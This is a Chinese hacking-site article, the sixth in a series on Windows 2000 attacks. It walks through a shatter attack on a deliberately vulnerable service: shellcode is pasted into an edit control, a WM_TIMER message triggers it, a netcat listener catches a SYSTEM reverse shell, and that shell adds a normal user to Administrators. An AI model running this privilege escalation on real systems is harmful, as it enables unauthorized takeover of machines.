·搜黑-全球首例黑客资讯搜索
·视频-国内视频学习教学大全
·设计-汇集百家设计网站精华
·编程-13大编程语言全面学习
安全中国首页 > 文章中心 > 黑客技术
Win2K系统几个攻击实例成败心得(六)
http://www.anqn.com     时间:2007-8-13 8:24:49      责任编辑:池天      网友评论
热 点:

IMITTEXT, (WPARAM) SIZEOFBUF,

  (LPARAM)0);

  SendMessage( hMsg, WM_SETTEXT, (WPARAM) 0,

  (LPARAM) l_pDlgParam->msg );

  SetForegroundWindow(hwnd);

  return FALSE;

  }

  case WM_COMMAND:

  {

  switch (LOWORD(wParam))

  {

  case IDC_OK:

  EndDialog(hwnd, IDC_OK);

  return FALSE;

  default:

  return FALSE;

  }

  }

  }

  return FALSE;

  }
  <===============================================>

  下面是程序Client.c,非常简单,它的功能仅仅是向“\\.\pipe\simple”发送几个字节:

  <=======================Client========================>

  // client.cpp : Defines the entry point for the console

  application.

  //

  #include

  #include

  #include

  #include

  int main(int argc, char* argv[])

  {

  char inbuf[80];

  char outbuf[80];

  DWORD bytesRead;

  BOOL ret;

  LPSTR lpszPipeName = "\\\\.\\pipe\\simple";

  LPSTR lpszString = "World";

  strcpy( outbuf, lpszString );

  ret = CallNamedPipeA(lpszPipeName,

  outbuf, sizeof(outbuf),

  inbuf, sizeof(inbuf),

  &bytesRead, NMPWAIT_WAIT_FOREVER);

  if (!ret) {

  printf("client: CallNamedPipe failed for %d\n",

  GetLastError());

  exit(1);

  }

  printf("client: received: %s\n", inbuf);

  return 0;

  }

  <==================================================>

  FOON编写了一个攻击工具Shatter,大家可以参考他的文章来使用这个工具,而且他的网站上还有Shatter的源程序。这个程序专门攻击象SimpleService这样会创建Window的服务进程,它首先把Window中Edit Control的尺寸(Size)扩大,然后把可执行的黑客码沾贴到Edit中,这样就把黑客码拷贝到这个Window进程的内存中了----很Cool吧!接下来我们就要寻找黑客码在内存中的地址,FOON是用Windbg去寻找这个地址的,详情请参考他的文章。最后Shatter向Window进程发送一个定时执行Message----“WM_TIMER”,迫使Window进程执行刚才拷贝进去的黑客码。这个黑客码是根据jill的黑客码改编而成,它产生一个远程的cmd shell联结回到Client机器上,所以我们可以用鼎鼎有名的netcat程序与它联络。

  我现在来演示一下使用Shatter攻击SimpleService的过程,看看普通用户“moda”是如何通过Shatter提升权限的:

  先以普通用户“moda”登录,看看本地Administrators组当前的成员:

  Microsoft Windows 2000 [Version 5.00.2195]

  (C) Copyright 1985-1999 Microsoft Corp.

  D:\MyJob\tool\netcat>net localgroup administrators

  Alias name administrators

  Comment Administrators have complete and unrestricted access to the Members

  -----------------------------------------------------------------------------

  Administrator

  The command completed successfully.

  本地Administrators组只有Administrator一个成员。我们试一下能不能把“moda”加入到本地Administrators组。

  D:\MyJob\tool\netcat>net localgroup administrators /add moda

  System error 5 has occurred.

  Access is denied.

  很惨呀,得了一个“Access is denied.”的错误。

  下面运行程序Client,向SimpleService发送几个字节,於是SimpleService在普通用户“moda”的Desktop上产生一个对话框:

  这个对话框上有两个Edit Controls,一个对应着“Number Of Hit”,这里输出SimpleService的Named Pipe被访问的次数;一个对应着“Message Back”,这里输出SimpleService的Message。这两个Edit都可以被攻击利用,不过我这里以“Message Back”的Edit为例。让我们运行FOON的攻击程序Shatter:

  第一步:我们需要扩大Edit的尺寸(Size)。大家从SimpleService的源程序中可以看到,“Message Back”的Edit只允许40个char,而jill的黑客码显然超过了这个长度,所以我们就通过Shatter向这个Edit的柄Handler发送EM_SETLIMITEXT,把它的尺寸扩大到0xffffffff(见下图)。

  第二步:把FOON改编的jill黑客码拷贝到Clipboard上,然后往Edit发送WM_PASTE,你可以看到Edit中马上堆积了一长串乱七八糟的字符,这就是jill黑客码。

  第三步:利用Windbg去寻找jill黑客码在Window内存中的地址,这个过程FOON已经讲得很清楚了,所以就不用我罗嗦了。在dallas上我得到的地址是在0x1389c0附近。

  第四步:另外打开一个Dos窗口运行netcat,我们准备与打入敌营的侦察兵jill联络:

  D:\MyJob\tool\netcat>

  D:\MyJob\tool\netcat>nc -lp 123

  第五步:向Edit发送WM_TIMER,让Window进程跳去执行从0x1389c0开始的黑客码。你马上就能看到netcat开始收到了jill发回来的内容,它输出一些版权信息。

  D:\MyJob\tool\netcat>

  D:\MyJob\tool\netcat>nc -lp 123

  Microsoft Windows 2000 [Version 5.00.2195]

  (C) Copyright 1985-1999 Microsoft Corp.

  第六步: 现在你就可以通过netcat与Window进程中的cmd Shell联系,可以向它发送命令,从它那里得到命令运行结果。这个cmd Shell具有Local System的权限,所以我们可以轻易地把普通用户“moda”加入到本地Administrators组中:

  D:\WINNT\system32>net localgroup administrators /add moda

  net localgroup administrators /add moda

  The command completed successfully.

  D:\WINNT\system32>net localgroup administrators

  net localgroup administrators

  Alias name administrators

  Comment Administrators have complete and unrestricted access to the Members

  -----------------------------------------------------------------------------

  Administrator moda

  The command completed successfully.

  D:\WINNT\system32>

  D:\WINNT\system32>

  以上就是我演示Microsoft这个缺陷的过程,虽说我有意把SimpleServic设计得易于黑客攻击,但实际上还有不少的流行的程序也是犯了同样的错误,象FOON文章中提及的Network Associates VirusScan v4.5.1, 还有我最喜欢用的WinVNC等等,它们都在普通用户的Desktop上创建了一个具有Local System权限的Window。

  各位,编程序时要记住不要在阿猫阿狗的Desktop上创建Window啊!如果你给它们机会,阿猫阿狗也会成精的!

   结尾的话:

  提升权限的方法还有很多种,比如说可以直接用破密码的软件来获得Administrator的密码、可以利用系统进程缓冲区溢出来运行更高权限的黑客码等等,我这里只是挂一漏万地介绍其中几个。

·上一篇: 暂时空缺
·下一篇: Win2K系统几个攻击实例成败心得(五)

发表评论  打印本文  返回顶部  关闭窗口
最新5条评论 条评论
条评论
名称: 信箱:

相关连接
·专题:Win2K系统几个攻击实例成败心得(六章) [2007-8-23]
·Win2K下关闭默认开启的139,445端口 [2007-8-21]
·Win2K系统几个攻击实例成败心得(一) [2007-8-13]
·Win2K系统几个攻击实例成败心得(二) [2007-8-13]
·Win2K系统几个攻击实例成败心得(三) [2007-8-13]
·Win2K系统几个攻击实例成败心得(四) [2007-8-13]
·Win2K系统几个攻击实例成败心得(五) [2007-8-13]
·Win2k入侵后后门的放置 [2006-7-25]
·巧妙修改Win2k注册表抵抗拒绝服务 [2006-4-22]
·高级WIN2K ROOTKIT检测技术 [2006-3-23]